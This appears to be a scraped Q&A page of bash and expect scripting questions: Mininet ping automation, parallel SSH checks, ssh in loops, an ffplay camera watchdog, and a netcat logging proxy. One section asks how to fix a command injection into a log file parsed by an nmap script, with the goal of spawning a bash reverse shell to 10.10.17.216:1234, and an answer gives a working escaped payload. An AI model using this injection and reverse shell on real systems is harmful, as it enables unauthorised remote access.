send: spawn id exp6 not open while executing - bash

#!/bin/bash
MN_ROUTER_NUM=$1 #5
MN_BANDWIDTH=$2 #12
MN_DELAY=$3 #1ms
MN_LOSS=$4 #10
PING_COUNT=$5 #100
PING_PACKET_SIZE=$6 #100
PING_INTERVAL=$7 #0
if [ ! -f topology.py ];
then
echo "topology.py file could not be found."
exit 1;
fi
(expect - << EOD
spawn sudo mn --custom topology.py --topo mytopo,n=$MN_ROUTER_NUM --link tc,bw=$MN_BANDWIDTH,delay=$MN_DELAY,loss=$MN_LOSS
set timeout 1000
expect "*mininet>*"
sleep 1
send -- "h1 ping h2 -s $PING_PACKET_SIZE -c $PING_COUNT -i $PING_INTERVAL \n"
expect "*mininet>*"
sleep 1
send -- "exit\n"
interact
EOD
) | tee .ping.out | grep -e "ttl=" | awk '{print $(NF-1)" ms"}' | cut -d'=' -f2 > n_${MN_ROUTER_NUM}_BW_${MN_BANDWIDTH}_delay_${MN_DELAY}_loss_${MN_LOSS}.out
cat .ping.out | grep -e "packets transmitted" -e "rtt min/avg/max/mdev"
rm -f .ping.out
echo "Delays are saved in "n_${MN_ROUTER_NUM}_BW_${MN_BANDWIDTH}_delay_${MN_DELAY}_loss_${MN_LOSS}.out
This script connects two hosts via routers.
When I run above script, I get this error sometimes, but not every time:
send: spawn id exp6 not open
while executing
"send -- "h1 ping h2 -s 100 -c 100 -i 0 \n""
I don't know why it sometimes work but sometimes do not.What could be the reason?

Related

Shell/Bash + expect script based on input list

I'm trying to run a shell script that execute an expect script based on an input list (IP Addresses), but in parallel.
Unfortunately I didn't understood how to achieve it, below my working script that execute the expect script sequentially on each IP contained in the list.
#!/bin/bash
HOST="$1"
USER="user"
PASS="password"
OUT="checkversion.csv"
rm -rf $OUT
touch $OUT
NOW=$(date +"%Y-%m-%d_%H-%M-%S")
echo "Script started at $NOW"
for i in `cat $1`
do
SCRIPT=$(expect -c "
spawn ssh -o HostKeyAlgorithms=+ssh-dss -o KexAlgorithms=+diffie-hellman-group1-sha1 -o StrictHostKeyChecking=no -c 3des-cbc -c aes128-cbc -c aes192-cbc -c aes256-cbc -c aes128-ctr -c aes192-ctr -c aes256-ctr $USER#$i
match_max 100000
expect \"*?assword:*\"
send -- \"$PASS\r\"
expect \"*>*\"
send -- \"start shell\"
send -- \"\r\"
expect \"*%*\"
send -- \"exit\"
send -- \"\r\"
expect \"*>*\"
send -- \"exit\"
send -- \"\r\"
")
VERSION=`echo "$SCRIPT" | grep JUNOS | grep -v WARNING | grep -v possible | grep -v recover`
echo "$i;$VERSION" >> $OUT
done
NOW=$(date +"%Y-%m-%d_%H-%M-%S")
echo "script finished at $NOW - note any errors above"
Could you please help me in found a method to run it in parallel and speedup the process?
Thanks
Please try changing your script as follow:
#!/bin/bash
HOST="$1"
USER="user"
PASS="password"
OUT="checkversion.csv"
rm -rf $OUT
touch $OUT
NOW=$(date +"%Y-%m-%d_%H-%M-%S")
echo "Script started at $NOW"
function runSSH {
PARAM=$1
SCRIPT=$(expect -c "
spawn ssh -o HostKeyAlgorithms=+ssh-dss -o KexAlgorithms=+diffie-hellman-group1-sha1 -o StrictHostKeyChecking=no -c 3des-cbc -c aes128-cbc -c aes192-cbc -c aes256-cbc -c aes128-ctr -c aes192-ctr -c aes256-ctr $USER#$PARAM
match_max 100000
expect \"*?assword:*\"
send -- \"$PASS\r\"
expect \"*>*\"
send -- \"start shell\"
send -- \"\r\"
expect \"*%*\"
send -- \"exit\"
send -- \"\r\"
expect \"*>*\"
send -- \"exit\"
send -- \"\r\"
")
VERSION=`echo "$SCRIPT" | grep JUNOS | grep -v WARNING | grep -v possible | grep -v recover`
echo "$PARAM;$VERSION" >> $OUT
}
for i in `cat $1`; do
# Run SSH in background
runSSH $i &
done
# Wait for background processes to finish...
wait
NOW=$(date +"%Y-%m-%d_%H-%M-%S")
echo "script finished at $NOW - note any errors above"

Netcat listener produces error: "bash: 1': ambiguous redirect"

When attempting to create a reverse shell with the following code injection, I receive the error: bash: 1': ambiguous redirect:
echo “ ; /bin/bash -c ‘bash -i >& /dev/tcp/10.10.17.216/1234 0>&1’ #” >> hackers
The code to be executed is directed to the hackers file which, in turn, is called by this script:
#!/bin/bash
log=/home/kid/logs/hackers
cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
Try to add \" at the start and the end :
echo “\" ; /bin/bash -c ‘bash -i >& /dev/tcp/10.10.17.216/1234 0>&1’ #\"” >> hackers
This worked for me :
echo "\" HRI ; /bin/bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1' \"" >> hackers

ssh when invoked with variables form while loop not working

I am running into an issue where I am comparing two files (alert.txt and env.txt) and based on common value, I am pulling complete line data from env.txt based on matching entry. I am reading these values into while loop and then invoking a function as follows. the ssh call is not working and also the while loop inside start_admin not working
#!/bin/bash
start_admin()
{
ssh -n -f $user#$host "sh -c 'cd $domain; ./script.sh > /dev/null 2>&1'"
while !(netstat -na | grep -E $host:$port|grep -E LISTEN) 2>/dev/null
sleep 30
do
echo "waiting"
done
echo "started"
}
grep -Ff alert.txt env.txt | (while IFS=" " read -r r1 r2 r3 r4 r5
do
user=$r2
host=$r3
domain=$r4
port=$r5
done
start_admin $user $host $domain $port
)
and contents of alert.txt is:
env2
env3
and that of env.txt is :
env1 user1 host1 /app/domain1/ port1
env2 user2 host2 /app/domain2/ port2
env3 user3 host3 /app/domain3/ port3
I could solve this with multiple if else loops, but that is not a desired solution, please guide me in right direction as to what is missing ?
Use join instead of grep here to avoid false positives
Because your while read loop completes before you run start_admin, you only launch it once (done should be AFTER start_admin)
In start_admin, don't use $user, $host and so on, use $1, $2 (or use them but don't pass them as parameters when calling the function)
I'm not sure exactly what you try to achieve, but here is a revised version already.
#!/bin/bash
start_admin()
{
sanitized_domain=${domain//'"'/'\"'}
ssh -n -f "$user#$host" "sh -c 'cd \"$sanitized_domain\"; ./script.sh >/dev/null 2>&1'"
while ! netstat -na | grep -q " $host:$port .*LISTEN"; do
echo waiting
sleep 30
done
echo started
}
join alert.txt env.txt | while IFS=' ' read -r env user host domain port; do
start_admin
done
)

Wait command not acting as expected in Bash Script

I am making a script to play 4 different video feeds from 4 different camera DVRs via RTSP, and need them to be pretty much hands-free i.e. a dedicated mini pc running Debian that will, network connection permitting, always have the feeds playing without users needing to restart anything. My script below works as expected at first, but if I close one of the feeds or disconnect then reconnect the network connection, the next (and all the following) iterations of the while loop this happens:
feeds 1 through 4 connect correctly
wmctrl places windows correctly
All windows immediately close, and the loop continues as if the connection was lost.
I've tried removing the process numbers from the wait command as well as moving the function declaration outside of the loop (not sure what help that would do but tried nonetheless) but that changed nothing.
#!/bin/bash
case $1 in
-d) debug=1 ;;
*) ;;
esac
close_all() {
kill $p1 $p2 $p3 $p4
return
}
source1="rtsp://user:password#10.0.20.30:554/streaming/channels/001"
source2="rtsp://user:password#10.0.20.33:1026/streaming/channels/001"
source3="rtsp://user:password#10.0.20.31:1024/streaming/channels/001"
source4="rtsp://user:password#10.0.20.34:1027/streaming/channels/001"
while true; do
ffplay -rtsp_transport tcp -infbuf -stimeout 100 -autoexit -i $source1 -vf "scale=w=960:h=540" > /dev/null 2>&1 & p1=$!
ffplay -rtsp_transport tcp -infbuf -stimeout 100 -autoexit -i $source2 -vf "scale=w=960:h=540" > /dev/null 2>&1 & p2=$!
ffplay -rtsp_transport tcp -infbuf -stimeout 100 -autoexit -i $source3 -vf "scale=w=960:h=540" > /dev/null 2>&1 & p3=$!
ffplay -rtsp_transport tcp -infbuf -stimeout 100 -autoexit -i $source4 -vf "scale=w=960:h=540" > /dev/null 2>&1 & p4=$!
sleep 5
window1=$(wmctrl -l | grep "$source1" | cut -d' ' -f 1 )
window2=$(wmctrl -l | grep "$source2" | cut -d' ' -f 1 )
window3=$(wmctrl -l | grep "$source3" | cut -d' ' -f 1 )
window4=$(wmctrl -l | grep "$source4" | cut -d' ' -f 1 )
wmctrl -i -r $window1 -e 0,0,0,960,540
wmctrl -i -r $window2 -e 0,0,540,960,540
wmctrl -i -r $window3 -e 0,960,0,960,540
wmctrl -i -r $window4 -e 0,960,540,960,540
[ "$debug" = 1 ] && echo " $p1 $p2 $p3 $p4"
# Originally had wait -n $p1 $p2 $p3 $p4 here
wait -n
#One of the ffplay commands exited so something must be wrong,
#close all and retry
close_all
echo "Connection interrupted, retrying..."
echo "Or press q to exit..."
read -t 3 -N 1 input
case $input in
q|Q) exit ;;
*) ;;
esac
# Picking an arbitrary DVR to test for now.
until ping -q -c 1 10.0.20.30 > /dev/null 2>&1; do
echo "Connection failed, will keep retrying in 3 seconds..."
echo "Press q to abort."
read -t 3 -N 1 input
case $input in
q|Q) exit ;;
*) ;;
esac
done
done
I need it to behave like it does the first iteration and wait until something actually goes wrong. I assume it has something to do with the wait command and processes or job control or something but google searching has led me nowhere. Can someone help me please?

unix (cygwin) fifo buffering

Looking for an intercepting proxy made with netcat I found this script:
#!/bin/sh -e
if [ $# != 3 ]
then
echo "usage: $0 <src-port> <dst-host> <dst-port>"
exit 0
fi
TMP=`mktemp -d`
BACK=$TMP/pipe.back
SENT=$TMP/pipe.sent
RCVD=$TMP/pipe.rcvd
trap 'rm -rf "$TMP"' EXIT
mkfifo -m 0600 "$BACK" "$SENT" "$RCVD"
sed 's/^/ => /' <"$SENT" &
sed 's/^/<= /' <"$RCVD" &
nc -l -p "$1" <"$BACK" | tee "$SENT" | nc "$2" "$3" | tee "$RCVD" >"$BACK"
Which work nicely, as expected.
Since I need to look closely to the encoding used, hence the actual bytes passing, I tried to change some lines to use hexdump -vC:
#!/bin/sh -e
if [ $# != 3 ]
then
echo "usage: $0 <src-port> <dst-host> <dst-port>"
exit 0
fi
TMP=`mktemp -d`
BACK=$TMP/pipe.back
SENT=$TMP/pipe.sent
RCVD=$TMP/pipe.rcvd
trap 'rm -rf "$TMP"' EXIT
mkfifo -m 0600 "$BACK" "$SENT" "$RCVD"
( hexdump -vC | sed 's/^/ => /' ) <"$SENT" &
( hexdump -vC | sed 's/^/<= /' ) <"$RCVD" &
nc -l -p "$1" <"$BACK" | tee "$SENT" | nc "$2" "$3" | tee "$RCVD" >"$BACK"
Now it's not working anymore. Actually, I've lost the "realtime" feature of the previous script. Every byte sent is dumped in a single batch; then every byte received in another batch; and this all only after the connection is closed.
I'm suspecting some sort of buffering occurs in the pipe (|), but I'm not sure how to:
test this hypotesis;
fix the script to make it work in realtime again.
PS1. I'm using cygwin.
PS2. sh --version outputs:
GNU bash, version 4.1.10(4)-release (i686-pc-cygwin)
Edit:
Removind the | sed ... part (that is, leaving only hexdump -vC <"$SENT" and hexdump -vC <"$RCVD") the realtime feature is back, increasing my suspicion over the pipeline operator. But the output turns out to be confusing since sent and received bytes are mixed.
Still I couldn't manage to resolve the buffering (?) issue, but I could change the hexdump invocation to render the sed unnecessary:
#!/bin/sh -e
if [ $# != 3 ]
then
echo "usage: $0 <src-port> <dst-host> <dst-port>"
exit 0
fi
TMP=`mktemp -d`
BACK=$TMP/pipe.back
SENT=$TMP/pipe.sent
RCVD=$TMP/pipe.rcvd
trap 'rm -rf "$TMP"' EXIT
mkfifo -m 0600 "$BACK" "$SENT" "$RCVD"
hexdump -v -e '" => %08.8_Ax\n"' -e '" => %08.8_ax " 8/1 "%02x " " " 8/1 "%02x "' -e '" |" 16/1 "%_p" "|\n"' <"$SENT" &
hexdump -v -e '"<= %08.8_Ax\n"' -e '"<= %08.8_ax " 8/1 "%02x " " " 8/1 "%02x "' -e '" |" 16/1 "%_p" "|\n"' <"$RCVD" &
nc -l "$1" <"$BACK" | tee "$SENT" | nc "$2" "$3" | tee "$RCVD" >"$BACK"
Yes, the new hexdump looks ugly, but works.
This question for me is now open just for the sake of curiosity. I'm still willing to give the "correct answer" points to the one who explains (and fixes) the buffering (?) behavior.

Resources